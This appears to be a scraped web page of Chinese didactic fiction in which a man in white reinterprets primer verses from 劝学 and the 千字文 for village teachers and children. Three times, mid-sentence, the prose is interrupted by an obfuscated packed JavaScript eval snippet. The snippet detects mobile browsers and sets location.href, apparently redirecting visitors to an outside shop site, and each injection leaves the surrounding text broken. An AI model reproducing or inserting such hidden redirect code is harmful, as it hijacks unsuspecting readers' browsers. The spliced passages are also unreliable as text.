“若是《论语》，教的是仁；若是《孟子》，教的是义；若是《诗经》，教的是情；若是《礼记》，教的是节。可若只教背诵，不教践行，这经便是空经，与金满赢何异？金会散，经会忘，唯行出来的仁、义、情、节，才是真遗产。” 又翻开一页，是《千字文》“天地玄黄”。 “有富商，遗子万金，子三年败尽。有寒士，遗子一经，子苦读高中，却贪赃枉法。问：富商之金是恶，寒士之经是善么？金无善恶，经亦无善恶，在人如何用。” 他将经卷递给阿卯：“你爹卖豆腐，可曾教你‘豆腐经’？” 阿卯愣愣道：“我爹说……豆腐要嫩，卤水要准，压板要平……” “这便是你的经。”白衣人微笑，“这经里，有嫩是仁，准是义，平是节。你守这经，做出的豆腐养人，便是泽民。何必非读《论语》才叫经？” 五、 勤有功，戏无益？ 灶糖熬好，白衣人教孩子们拉糖。糖块金黄，拉出千丝万缕，在冬日阳光下灿若金线。 “‘勤有功，戏无益’。勤固然有功，戏当真无益么？” 他手指翻飞，将糖丝编成小狗、小鸡、小蚕、小蜂。 “犬戏逐，练其捷；鸡戏啄，练其准；蚕戏动，练其柔；蜂戏舞，练其群。戏，是练，是学，是悟。孩童戏耍，练身手，学相处，悟规则——岂曰无益？” 又拉出个读书小人，小人伸懒腰，又变作个奔跑小人。 “勤读是功，戏耍也是功。只勤不戏，如弓久张不弛，必断。只戏不勤，如苗久灌不耘，必荒。勤戏相济，方是正道。” 他将糖人分给孩子，对严夫子道：“夫子教‘勤有功，戏无益’，是怕孩童耽于嬉戏。可若孩童从戏中学仁、学义、学礼、学智，这戏，便是勤的另一种模样。” 六、 灶王节的糖 日头偏西，糖坊开始收摊。白衣人将最后一块糖画成灶王爷，粘在墙上。 “今日灶王节，送灶神上天言好事。灶神看一家善恶，不看这家有无进士，不看这家有无牌坊，只看这家人是否勤勉，是否和睦，是否行善。” 他指向劝学堂：“学堂如灶，夫子如灶神，看学童是否勤学，是否明理，是否行正。但灶神亦知，火太旺，饭易焦；火太弱，饭易生。勤学如灶火，要旺，也要匀。” 严夫子默然良久，忽对白衣人深深一揖：“听君一席话，如醒醐灌顶。老朽……惭愧。” 白衣人还礼：“夫子严教，本心是善。只是劝学如熬糖，火候要准，搅动要匀，急了易焦，慢了不化。犬守夜是勤，鸡司晨是勤，蚕吐丝是勤，蜂酿蜜是勤——可它们勤得自然，勤得本分。人劝学，当劝这自然勤、本分勤，莫劝那功利勤、虚名勤。” 他收拾物什，对孩童们道：“今日灶王节，回家吃糖，也想想：你是愿做守夜犬，还是愿做明理人？是愿做吐丝蚕，还是愿作德人？勤要勤在何处，学要学为何事。” 尾声·劝学新声 那年后，劝学堂变了样子。 严夫子不再一味训诫“人不学不如物”，而是每讲此段，必问学童：“犬守夜为何？鸡司晨为何？蚕吐丝为何？蜂酿蜜为何？”学童答：“为守宅、报时、作衣、酿甜。”夫子再问：“那人为何学？”有答“为明理”，有答“为作事”，有答“为行善”。夫子皆颔首。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213850|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他自撰一联，悬于学堂： 犬守夜守宅，人守夜守心，守心方为人 蚕吐丝作衣，人作事作德，作德方不物 阿卯后来继承豆腐坊，将店名改为“一清斋”，取“一清二白”之意。他说：“我爹教我豆腐要嫩，卤水要准，压板要平——这是豆腐经。我加一条：做人要清，行事要白。这做人的道理，是白衣先生灶王节那日，用糖画教我的。” 而那个熬糖画的白衣人，灶王节后便无踪影。但每年腊月廿三，劝学堂前总有陌生人来熬糖画，糖画总是犬、鸡、蚕、蜂、读书小人。熬糖人总说：“勤有功，戏亦有功。勤在明理，戏在悟道。” 后来苏州城流传开一首新童谣，孩童们拉糖时唱： “犬守夜，鸡司晨，守司是本分。 蚕吐丝，蜂酿蜜，吐酿是本分。 人守心，人作德，守作是本分。 幼学理，壮行善，学行是本分。 扬名要扬清名，显亲要显德亲。 光前要光仁前，裕后要裕善后。 遗子金，子会散，遗子经，子会忘。 遗子一颗清明心，胜却金玉与书卷。 勤有功，戏有益，戒之哉，宜明理——” 严夫子八十寿辰时，学童们送他一副糖画对联： 上联：犬守夜鸡司晨物尽其性 下联：人守心学明理人尽其本 横批：勤在明处 夫子将糖画悬于堂前，每日对之自省：“我教了一辈子‘人不学不如物’，却不知人若不明理而学，真不如物。犬守夜尚知守宅，人守夜当知守心。守心，才是真学，真勤，真人之本分。” 本章诫世 一、 劝学真义训 - 犬守夜，鸡司晨。苟不学，曷为人。蚕吐丝，蜂酿蜜。人不学，不如物。幼而学，壮而行。上致君，下泽民。扬名声，显父母。光于前，裕于后。人遗子，金满赢。我教子，唯一经。勤有功，戏无益。戒之哉，宜勉力 - 破解法：劝学者，自问“学为何？为人，为何人？为不如物，为何物？致君泽民，为何致泽？扬名显亲，为何扬显？遗子一经，经为何经？勤有功，勤在何处？戏无益，戏真无益？” 二、 四本四问 - 犬鸡之问——犬守夜是为守宅，鸡司晨是为报时。人学是为守心惜时，还是为功名利禄？若为后者，真不如犬鸡 - 蚕蜂之问——蚕吐丝是为作衣，蜂酿蜜是为酿甜。人学是为作德酿善，还是为锦衣玉食？若为后者，真不如蚕蜂 - 名利之问——扬名显亲、光前裕后，是扬清名、显德亲、光仁前、裕善后，还是扬虚名、显势亲、光利前、裕财后？若为后者，是遗祸非遗福 - 遗教之问——遗子一经，是遗仁义礼智之经，还是遗功名利禄之经？是遗明理行善之经，还是遗死记硬背之经？若为后者，经是空经 - 勤戏之问——勤有功，是勤在明理行善，还是勤在死读苦熬？戏无益，是戏在荒废光阴，还是戏在悟道练心？若不分清，是误人子弟 三、 熬糖大道 - 深层隐喻：劝学如熬糖。糖是学问，火是勤勉，搅动是方法，火候是分寸。火太旺，糖易焦（勤成死读）；火太弱，糖不化（惰成废学）。搅太快，糖不匀（学不成体）；搅太慢，糖结块（学不通透）。熬糖要知糖性，劝学要知人性。犬鸡蚕蜂，各依本性而活；人当依本心而学，非依外力而迫 - 终极指向：世人劝学，易入歧途：以犬鸡蚕蜂责人，却不知人当有高于犬鸡蚕蜂之求；以名利劝学，却不知名利是糖衣，易糊心；以勤戏为敌，却不知戏是学之另一法。劝学当劝守心、惜时、作德、酿善、扬清、显德、光仁、裕善、遗明、行正。如此，方是真人不愧对犬鸡蚕蜂，真学不愧对“经”之一字 灶王劝学偈： 灶王节里劝学堂，严师教诵劝学章。 犬鸡蚕蜂不如物，幼学壮行扬名声。 白衣糖坊说故事，守夜司晨是本分。 吐丝酿蜜是本分，人守心学是本分。 名利是糖勤是火，劝学当知火候匀。 后世叹： 犬守夜，鸡司晨，守司是本分非比人。 蚕吐丝，蜂酿蜜，吐酿是本分非比人。 人守心，人明理，守明是本分方为人。 严师劝学责犬鸡，白衣说人当守心。 从此劝学先问心，心明方是真勤学。 正是： 灶王节里劝学声，严师堂前训蒙童。 犬鸡蚕蜂不如物，幼学壮行扬名声。 白衣糖坊说故事，劝学当劝守心学。 从此劝学不责物，但问本心明不明。 122.开蒙谳 楔子·春分开蒙 春分时节，济南城“蒙正堂”开馆授徒。白发苍苍的蒙师贺老夫子焚香净手，领着三十蒙童，对堂上“天地君亲师”牌位行三跪九叩大礼。礼毕，童子们端坐蒲团，贺老夫子朗声开讲： “今日开蒙第一课，讲《千字文》开篇——天地玄黄，宇宙洪荒。日月盈昃，辰宿列张。此十六字，包罗万象，尔等当谨记：天玄地黄，是为尊卑；宇宙洪荒，是为初辟；日月盈昃，是为时序；辰宿列张，是为规矩。天地有常，人当效之；日月有序，人当循之……” 正讲得肃穆，堂外忽传来清亮儿歌： “天苍苍，地皇皇，春分一到昼夜平。 宇为檐，宙为梁，古字说来屋里藏。 日头升，月头沉，光阴去如马蹄轻。 星星棋，宿宿局，不如东风送纸鸢——” 贺老夫子眉头一皱，拄杖出堂。但见墙外打谷场上，十几个孩童正围着一个白衣人放纸鸢。白衣人立在春风里，手中线轴转动，一只青黄相间的“玄黄鸢”扶摇直上。斗笠是新柳与迎春花枝混编，檐边缀着几朵嫩黄小花。白衣是细麻所制，洗得发白，袖口用靛青丝线绣着云纹。木剑插在土中，剑穗是褪色的五色丝绦打成蝴蝶结。面上蒙着本色棉纱，只露出一双含笑的眼睛，正教一个总角童子牵线。 “放肆！”贺老夫子顿杖，“开蒙大礼，尔等在此嬉戏喧哗，成何体统！” 白衣人将线轴交给童子，拱手一揖：“夫子息怒。在下教孩子们放鸢，正是感悟天地——鸢飞天上，线牵手中，恰如人立天地间，上有玄黄，下有根本。” “胡言乱语！”贺老夫子冷笑，“《千字文》乃圣贤经典，岂是纸鸢可喻？你既敢扰馆，可敢进堂解说真义？也让这些蒙童知道，何谓天地正道！” 一、 玄黄何物 白衣人随贺老夫子进堂。三十蒙童正襟危坐，眼珠却瞟向窗外翩跹的纸鸢。 白衣人从怀中取出一方靛青染布、一块赭黄泥土，置于案上。 “‘天地玄黄’。夫子解为天玄地黄，尊卑有序。敢问夫子，天何以玄？地何以黄？” 贺老夫子肃然：“天色深青为玄，象征高远尊贵；地色土黄为黄，象征厚重卑下。天尊地卑，纲常始定。” 白衣人将染布举起，对着天窗：“此刻天光正好，请诸童看天——天是玄色么？” 蒙童们仰头，但见春日上午，天色碧青如洗，间有白云。 “非玄，乃青。”白衣人将染布覆在赭土上，“再请看地——堂前春泥，可是正黄？” 众童探头，见窗外泥地因晨露未干，呈深褐色。 “非正黄，乃赭褐。”白衣人慢声道，“天本无色，因日光而现蓝；地本杂色，因水土而呈黄。所谓玄黄，是人眼见之色，非天地本色。” 他走到窗边，指向远山：“春日山色，有青、绿、黛、苍。秋日山色，有黄、赭、金、赤。天地之色，四时不同，晨昏各异，岂止玄黄？” 贺老夫子面色一沉：“你这是诡辩！玄黄乃取象比类，非实指颜色！” “正是取象比类。”白衣人转身，“既比类，当比其神，非比其色。天之神，在包容万物，不分尊卑；地之神，在承载众生，不论贵贱。若只执玄为尊、黄为卑，岂不辜负天地本心？” 他将染布与赭土分给前排蒙童：“天包容日月星辰，是为仁；地承载山川河岳，是为义。仁与义，可论尊卑乎？” 二、 宇宙何物 窗外纸鸢愈飞愈高，渐成黑点。白衣人指鸢问道：“那鸢在何处？” “在天上！”众童齐答。 “天上何处？” “在……在云边。” “云边何处？” 蒙童语塞。 白衣人从怀中取出一段麻绳，绳上每隔一寸系一小结。 “古人云：‘上下四方曰宇，往古来今曰宙。’宇是空间，宙是时间。这绳上每个结，可代表一辰、一宿、一山、一川、一城、一池。” 他将绳拉直：“但若将这‘宇宙’看得太死，便如这绳——绷得笔直，却失了天地本来的圆融。” 又将绳轻轻一抛，绳在空中划出柔和的弧线，落在沙盘上，自成蜿蜒形状。 “真正的宇宙，当如这绳——有直有曲，有方有圆。天圆地方，是古人观天察地之得，然天有无垠星汉，地有无尽山川，岂是一个‘圆’一个‘方’可尽？” 他指着沙盘中绳痕：“这弯曲处，可是宇？这结点，可是宙？都是，也都不是。宇宙本无界，是人强为之界；洪荒本无时，是人强为之时。” 贺老夫子听得怔住，半晌道：“依你之见，‘宇宙洪荒’当作何解？” “宇宙是家园，洪荒是初心。”白衣人缓声道，“人立天地间，当知家在何处，心在何方。而非执着上下四方之界、往古来今之限。” 三、 盈昃何意 日头渐高，阳光斜入堂内，在地上投出窗格光影。白衣人指着光影：“看，日头在移。” 他取出一只陶碗、一碗清水，置于光中。水光潋滟，映得满堂碎金。 “‘日月盈昃’。日月为何有盈昃？是因它们运行有度，不疾不徐。日满为盈，月缺为昃，此乃天道循环。” 又将陶碗倾斜，水流出一线：“但若人只看盈昃，不见循环，便会生贪——望日长盈不昃，望月长满不缺。可日若长盈，禾苗枯焦；月若长满，潮汐失序。” 他将碗扶正，又注入清水：“天地之道，在均衡。盈时不骄，昃时不馁。日有升落，月有圆缺，方有四时有序、万物生长。人效天地，当时时自省：我此刻是盈是昃？盈时当思昃，昃时当待盈。” 一蒙童忽问：“先生，我背不出书时是昃，背出时是盈么？” 白衣人微笑：“背出时是盈，可若自满，盈转昃；背不出时是昃，可若苦学，昃转盈。天地循环，人心亦如是。” 四、 辰宿何用 日头当顶，窗外纸鸢已小如雀卵。白衣人从怀中取出一张星图，在沙盘上以白石、黑石排布。 “‘辰宿列张’。辰为日、月、星统称，宿为星宿。古人观天，将星辰分列二十八宿，张布周天，以定时令、辨方位。” 他以白石为北斗，黑石为列宿：“这列张，是规矩。春耕秋收，看星宿位置；航海行路，凭星辰指引。但——” 他忽然将星图一拂，白石黑石混作一堆。 “若人只知星辰列张，不知其运转之理，便会迷于表象。譬如农人只知‘参星中而耕’，不知参星为何中，便是盲从。舟子只知‘凭北斗指北’，不知北斗为何指北，便是盲信。” 他将白石拣出，在沙上画了个圆：“辰宿列张，是天地立的规矩。人遵规矩，也要明规矩之所以然。读书亦然——字句是星辰，道理是轨道。若只背诵字句，不明道理，便是只见辰宿，不见宇宙。” 贺老夫子听到此处，长叹一声：“老朽教《千字文》三十年，从‘天地玄黄’开蒙，只教童子认字释义，从未教他们问‘天何以玄、地何以黄、宇宙何以洪荒、日月何以盈昃、辰宿何以列张’。今日听君一席话，惭愧，惭愧。” 白衣人躬身：“夫子教蒙童识字明理，本是功德。只是蒙童如春苗，既需规矩，也需天地。规矩是字句，天地是道理。有规矩，苗可直；有天地，苗可壮。” 五、 开蒙的真义 午时将至，堂外传来饭香。白衣人邀众童到打谷场，教他们将手中“玄黄鸢”齐齐放飞。 三十只纸鸢腾空，青黄交错，如天地倒悬。 白衣人朗声道：“今日开蒙，夫子教你们‘天地玄黄，宇宙洪荒。日月盈昃，辰宿列张’。这是规矩，是框架，是你们读书的起点。” 他指着漫天纸鸢：“可真正的天地，是这无垠青空，任鸢翱翔。真正的宇宙，是这无限时空，容鸢浮沉。日月是那东升西落的太阳，照鸢生辉。辰宿是那不可见的轨道，引鸢不乱。” “你们手中的线，是规矩。鸢在天上，是道理。有线，鸢不失；有鸢，线有用。读书识字，是握线；明理践行，是放鸢。只握线不放鸢，线是死物；只放鸢不握线，鸢是断雁。” 他将线轴交给贺老夫子：“夫子，开蒙如放鸢。您教他们握线之法，也要容他们放鸢之心。线要牢，心要高，鸢才能既不离线，又翔九天。” 贺老夫子接过线轴，仰观漫天纸鸢，良久，对三十蒙童道：“今日开蒙第一课，老夫加一句：天地玄黄，玄是包容，黄是承载。宇宙洪荒，宇是家园，宙是光阴。日月盈昃，盈是满而不溢，昃是缺而不馁。辰宿列张，列是规矩，张是活用。尔等可记下了？” 蒙童们齐声：“记下了！” “那便去放鸢吧。放鸢时，想想何为天，何为地，何为宇宙，何为日月星辰。” 尾声·鸢书同春 自那日后，蒙正堂的规矩改了。 贺老夫子仍教《千字文》，但每教一句，必问蒙童：“你以为如何？可有他解？”有童子说“天是青的，因我见青”，夫子说“可”；有童子说“地是褐的，因我踏褐”，夫子说“可”；有童子说“宇宙是院子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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- 破解法：开蒙者，自问“天地何物？宇宙何物？日月何意？辰宿何用？玄黄是色是德？洪荒是时是心？盈昃是象是道？列张是规是活？” 二、 四问四解 - 玄黄问——天何以玄？地何以黄？是天尊地卑，还是天仁地义？是色也，德也？若只执色，是盲；若只见德，是空。玄是包容，黄是承载，方是天地本心 - 宇宙问——宇宙是上下四方、往古来今，还是无垠家园、无穷光阴？是框也，心也？若只执框，是囚；若只凭心，是妄。宇是家园，宙是初心，方是立身之本 - 盈昃问——日月盈昃，是天道循环，还是人心起伏？是象也，道也？若只观象，是迷；若只求道，是虚。盈时不骄，昃时不馁，方是天地之道 - 列张问——辰宿列张，是规矩森严，还是活用有序？是规也，活也？若只守规，是死；若只求活，是乱。列是规矩，张是活用，方是处事之方 三、 鸢线大道 - 深层隐喻：开蒙如放鸢。鸢是童心，线是蒙训。鸢无线，则失于狂放；线无鸢，则死于僵直。天地玄黄，是鸢翱翔之空；宇宙洪荒，是鸢浮沉之时；日月盈昃，是鸢升落之轨；辰宿列张，是鸢不乱之矩。蒙师教蒙，当教握线之法，亦当教放鸢之心。线要牢，是字句要准；心要高，是道理要明。鸢在线中，线在鸢中，鸢线一体，方是开蒙正途 - 终极指向：世人开蒙，易入歧途：以玄黄定尊卑，失天地包容之心；以宇宙为死框，失家园温情之意；以盈昃为天命，失自强不息之志；以列张为铁律，失灵活变通之智。开蒙当开心眼，非只开肉眼。心眼一开，鸢飞九天，线在手中，天地宇宙，日月星辰，皆在方寸之间 春分开蒙偈： 春分时节蒙正堂，贺师开蒙讲玄黄。 天地宇宙日月星，字字句句是规矩。 白衣放鸢说故事，玄黄是德非颜色。 宇宙是心非死框，盈昃是道非天命。 从此开蒙先开心，心眼开处天地宽。 后世叹： 天地玄黄本无色，人心自染青与黄。 宇宙洪荒本无界，家园自在方寸间。 日月盈昃是常道，满缺不惊是修为。 辰宿列张是规矩，守活用方是真知。 贺师开蒙三十载，白衣一鸢点童心。 正是： 春分时节开蒙日，蒙正堂前诵玄黄。 天地宇宙日月星，字字如铁是规矩。 白衣场外放纸鸢，鸢飞九天线在手。 从此开蒙不框心，鸢线相牵是正途。 123.四时谳 楔子·秋分观星 秋分时节，成都府观象台上，司天监博士何先生正领官学十数童子观天测候。台上浑仪显象，圭表立影，漏刻涓滴，童子肃然侍立，闻先生讲授： “……寒来暑往，秋收冬藏，此四时之序也。闰余成岁，律吕调阳，此历法之要也。尔等观之——日行南陆为冬，北陆为夏；月有朔望，年置闰余。天地运行，自有常度。人顺天时，乃得正道……” 言未竟，台下市井忽传童谣清越： “寒至授衣，暑来摇扇，往来成岁。 秋敛仓实，冬藏窖鲜，藏用依节。 闰积余分，以正岁序，岁序方全。 律吕调阳，中气乃宣。大乐与和，本乎心源。” 何先生凭栏蹙眉下观，见“锦江茶肆”天井内，众街童围一白衣人歌跃。其人坐青石井栏，前置黄叶数片、新稻几穗、白菜两棵、炭薪少许。竹篾杂桂枝编为斗笠，檐缀金桂；葛麻白衣浆洗发白，肩栖落英。膝横木剑，剑穗乃五色旧绦结成百稼式样；面覆本色棉纱，唯见双眸温润含笑，正执黄叶教垂髫童子折舟。 “殊为轻妄！”先生拂袖斥道，“秋分测晷，乃朝廷敬天授时之大典。尔市井闲杂，安敢嬉戏妄言，乱议历法？” 白衣人仰首，声若秋涧漱石：“先生且息嗔意。在下教童子折叶，正是体察四时——叶黄而堕，乃寒来之信；叶落归根，乃冬藏之象。一叶可知秋，一叶亦可参岁。” 何先生冷笑：“尔既知四时历法之要，可敢登台一论？亦令诸生闻辨，何为真知正理。” 一、寒来暑往真意 白衣人随何先生登台。官学童子见其布衣斗笠，皆露疑色。白衣人取素绢展于石案，上绣四季图：春耕、夏耘、秋收、冬藏。 曰：“‘寒来暑往’，何先生解为四时之序，固然。然四时之序，序在何处？在天文，则日行南北；在农事，则耕播收藏；在人情，则何如？” 一童对曰：“添减衣裳。” 白衣人颔首：“善。老农观天，知寒添衣，知暑摇扇。此添减者，顺天而应人也。若徒知天时而不察人情，譬如朝廷颁历，告民某日入冬，然是日秋阳尚暖，民犹着单衣，将信历乎？信身乎？故寒来暑往，当以身为尺，以心为度。身历寒暑，方得真知四时。” 何先生捻须曰：“此言有理。历法，常也；人情，变也。常变相济，乃为正道。” 白衣人指圭表曰：“日影长短，常也。然秋分昼夜均，若遇阴雨不见日影，何以测时？则需漏刻、更香、鸡鸣、人息，此皆变也。故四时之序，序在常，亦在变。” 二、秋收冬藏实理 台上风起，吹动白衣人袖中稻穗。取穗在手，徐曰：“‘秋收冬藏’，何先生解为农事，固然。然收者何物？藏者何物？” 一童对曰：“收谷，藏粮。” “复有何物？” 众童莫对。 白衣人探袖出数物：一袋谷种、一卷书、一包药草、一块木炭。 “农收谷而藏粮，所以养生。士收言而藏卷，所以明道。医收草而藏方，所以济人。匠收薪而藏炭，所以御寒。收之与藏，非惟生计，亦为传续。” 以谷种付农家子曰：“此谷，今秋所收，来春所播。收之今日，藏之冬日，播之来岁，其理一也。” 以书卷付书生子曰：“此书，今岁所读，终身所用。读之在秋，藏之在心，用之在平生，其理亦一也。” 复以药草、木炭分授众人：“秋收冬藏，收者，当下之生计；藏者，来日之凭借。有收无藏，来岁无凭；有藏无收，今日无食。收与藏相济，乃成岁功，亦成人道。” 何先生抚掌曰：“善哉此言。如此则秋收冬藏，不惟在田，亦在心矣。” “在田者，实谷；在心者，实理。”白衣人指台下茶肆，见老妪曝菜于檐，小儿储梨于瓮，“老妪晒菹，为冬月之备；小儿藏果，期雪中之甘。其藏之中，有养家之慈，有娱亲之孝，有生之趣，有味之永。此乃真秋收冬藏也。” 三、闰余成岁奥妙 晷影渐移，白衣人至漏刻前，俯观滴漏。 “‘闰余成岁’，何先生解为历法之精，固然。然闰从何来？余在何处？” 取算筹布于石案：“一年三百六十五日有奇，其奇者，约四分日之一。积四年而成一日，是谓闰日。此即‘闰余’。” 复布算筹：“然此‘余’者，果为余乎？天行有常，本无余欠。惟人以三百六十五日为一岁，强名余缺。此闰者，人补天算之阙耶？抑天示人以有余耶？” 一童疑曰：“先生之意，岂本无闰乎？” “非谓无闰，亦非无岁。”白衣人散算筹，“岁者，人所定之序；闰者，人所以齐天行之巧也。天地运化，自为圆融。寒暑交替，收藏有时，此天之常。人观其常，制为岁时，此人之明。然若泥历而忘天，执岁而失时，则失其本矣。” 指西方欲坠之日：“今当秋分，昼夜宜均。然吾若曰‘天当即暝’，天果随之暝乎？天自有时，人自有历。历合天时，智也；历悖天行，惑也。闰余成岁，成者人之岁，非天之岁。人当敬天，亦当自知。” 何先生默然良久，揖曰：“承教矣。老朽治历廿载，惟知推步，不悟天人相与之际，竟有深理若此。” 白衣人还礼曰：“先生测天授时，泽被生民，功德非浅。然历者，器也；人者，本也。使民按历而耕，而不知耕之理，是有历而无智。闰余可成岁，心亦可成年。年在心，不在历。” 四、律吕调阳深意 白衣人取陶埙在手，轻吹数声，音苍而远。 “‘律吕调阳’，何先生解为音律应和节气，固然。然律吕何以调阳？阳何以需调？” 传埙与众童，续曰：“古之定音律，所以应节气。十二律吕，配十二月。冬至阳气始生，其音宜浊；夏至阳气极盛，其音宜清。音随气变，气感音应，此之谓‘调阳’。” 复取竹笛，吹《阳春》一曲。 “然此‘调’者，顺天地之气而和之，非强天地以就音也。若冬至而吹清越之音，虽美，与时不合。律吕之妙，在应时，不在强为。” 放笛，指台下人家灯火：“今当秋分，民间多奏《秋宵吟》，其音清肃，应秋气也。若奏春曲，虽婉转，与时相悖。律吕调阳，调者，人心合于天心也。人感秋凉而音肃，感春温而音和，此律吕在人心。” 一童忽曰：“吾母秋日纺棉，歌声清远；春日采桑，歌声婉转。此亦律吕调阳乎？” 白衣人抚掌曰：“然！令堂不习律吕，不识宫商，而歌随时变，心随气感，此真调阳也。律吕不在竹管，在人心；调阳不在音律，在人情。” 何先生叹曰：“老朽司天，但知测晷候气，制律定音，不意市井之间，妇人稚子，日日皆在‘调阳’。农人之歌、织女之吟、樵夫之号、舟子之唱，无一不与四时相应。此乃活律吕，活历法也。” 五、秋分的启示 月到中天，秋夜生寒。白衣人引诸童下台，至茶肆天井中。井栏旁已设秋分食案：新炊稻粥、秋梨凝膏、桂花蒸糕、渍菘菜心。 白衣人持勺分粥与诸童，徐言道：“今值秋分，何先生所授‘寒来暑往，秋收冬藏；闰余成岁，律吕调阳’十六字，实为天地常经，历法枢要。” 举箸指粥中米粒：“然此米，可谓农人依历而种、顺时而收者乎？可谓，亦不可谓。农人仰观天象，俯察地气，相看苗情，兼参历法。历者，考时之器；天者，授时之师；地者，载物之母；苗者，应时之子。四者相协，方得此粥。” 复指桂花糕：“至若桂花，本当秋分应侯而发。然若岁气偏寒，则花开先期；岁气偏暖，则芳迟后时。历载秋分有定日，花开叶落无定期。故智者当知常法不可移，亦须知变通不可废。” 何先生捧粥于手，谓诸童曰：“今日听讲，老夫添一语尔等须谨记：体察寒暑，当以身为衡度；慎行收藏，当以心为仓廪；明晓闰岁，当知天道本无岁序；领悟调阳，当知阳和自在人心。尔等能记否？” 众童齐声应道：“谨记！” 先生颔首：“且用粥罢。此粥之中，含四时之序，藏历法之精，蕴律吕之谐，具寒暑之变，寓收藏之理——食而入腹，化入身心，方为真学问。” 尾声·活历法 自那日后，观象台多一景。 何先生仍每日测影观星，制历授时。但每颁新历，必附一小册，名曰《农时便览》。其中不独书节气日期，更注：“某日宜耕，然若地未化透，可迟三日；某日宜收，然若穗尚青，且延五天。”又录《乡音节气歌》一卷，收樵歌、渔唱、纺谣、耕谚，注于历末。 台前立一小碑，镌白衣人语： 寒来暑往，身是尺 秋收冬藏，心是仓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217050|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闰余成岁，天无岁 律吕调阳，阳在心 官学童子每月须下田野，问老农种收之候；访街巷，听百姓应时之歌。有童问：“此于科举有助否？”何先生答曰：“科举取士，取明理之人。四时不明，人情不晓，纵登科第，何益于民？” 后数年，成都府渐成一俗：每岁秋分，农人、匠人、商贾、医者不约而至，聚于观象台下，各呈其业之所获。农献新谷，匠呈新器，商陈新货，医奉新方。何先生观之，叹曰：“此乃真闰余成岁——百姓生计，岁岁常新；此乃真律吕调阳——百姓歌哭，声声应时。” 白衣人此后不复见。然每至秋分，观象台前总有陌路之人，留一物而去：或稻穗一束，或歌谣一卷，或菜种一包，或木炭数块。留者惟言：“寒来暑往，秋收冬藏。闰余在心，律吕在口。” 何先生致仕之年，诸童为其编《四时便览》一册，序出其手： “司天四十载，方知天在民间。 寒暑在身，收藏在心，闰余在生，律吕在情。 民之所历，乃真历法；心之所感，乃真律吕。 白衣一点，秋分开蒙。 自此观天先观人，制历先制心。” 秋分之夜，老司天监凭栏望月，但见万家灯火，炊烟四起。风中隐约闻童谣： “寒来添衣暑打扇，秋收谷子冬存菜。 闰月多出团圆日，人心和合律吕调。 历法原是活人定，莫被死历困住了——” 老监捻须微笑，举杯对月：“寒来暑往，秋收冬藏。闰余成岁，律吕调阳。此十六字，老夫解了四十年，今日方觉通透。透在何处？透在粥饭里，透在布衣上，透在歌哭中，透在人心头。天行有常，人活有方。常方相济，便是好年景。” 月满天心，清辉万里。天地不言，四时自行。而行于四时中者，有历法之序，有音律之和，有寒暑之变，有收藏之备，更有那寻常巷陌间，烟火人家的温饱与传承。 本章诫世 一、 四时真义训 - 寒来暑往，秋收冬藏。闰余成岁，律吕调阳 - 破解法：观时者，自问“寒暑何物？收藏何意？闰余何来？律吕何用？是历法，是生计，是音律，是人心？” 二、 四时四活 - 寒来暑往——是天道之序，也是人情之变。当以身度天，非以天制身 - 秋收冬藏——是农事之要，也是人生之智。收是得，藏是用；得在当下，用在将来 - 闰余成岁——是历法之精，也是人心之补。天本无岁，人定有年；年岁在人心，不在历书 - 律吕调阳——是音律之妙，也是人情之应。阳在天，更在心；调阳是调心，合天 - 四明：四时是活时，历法是活历，音律是活律，人心是活心。执死则僵，知活则通 三、 活历大道 - 深层隐喻：四时如环，历法如尺，音律如歌。环是天地之常，尺是人之度量，歌是心之应和。寒来暑往，是环转；秋收冬藏，是环用；闰余成岁，是环补；律吕调阳，是环歌。人立环中，当知环之常，也当知己之变。以常应变，以变顺常，方是活在天地方圆之中 - 终极指向：世人观四时，易入歧途：以历法为铁则，不知天有变；以音律为玄妙，不知心有歌；以寒暑为天命，不知身有度；以收藏为农事，不知生有智。真正的四时，在农人锄下，在织女机上，在樵夫担中，在童子歌里。活人活历，活心活律，才是真寒暑、真收藏、真闰余、真律吕 秋分历偈： 秋分成都观象台，何师授历讲四时。 寒暑收藏闰余律，字字句句是天法。 白衣台下说故事，寒暑在身非在天。 收藏在心非在仓，闰余在生非在历。 从此观天先观人，历法人心律是歌。 后世叹： 寒来暑往是流年，秋收冬藏是生计。 闰余成岁是人补，律吕调阳是心应。 何师授历重天法，白衣说时重人情。 从此四时是活时，活人在世是活历。 正是： 秋分成都说四时，观象台前授历法。 寒暑收藏闰余律，天行有常人有方。 白衣井边说故事，四时在人不惟天。 从此历法是活历，音律是歌在人心。 124.造化谳 楔子·谷雨观天 谷雨时节，杭州城“望湖楼”上，理学先生贾夫子正襟危坐，对十几个士子讲授《千字文》精义： “……云腾致雨，露结为霜。此乃阴阳化育之理。云者，水汽升腾，遇冷凝而成雨；露者，地气上浮，遇寒凝而为霜。金生丽水，玉出昆冈。此乃五行生克之道。金生水，故丽水产金；玉蕴石中，故昆冈出玉。此四句，字字合于天道，尔等当深研……” 正讲得庄重，楼下西湖堤上传来清亮渔歌： “云腾是水汽，致雨是泪滴。 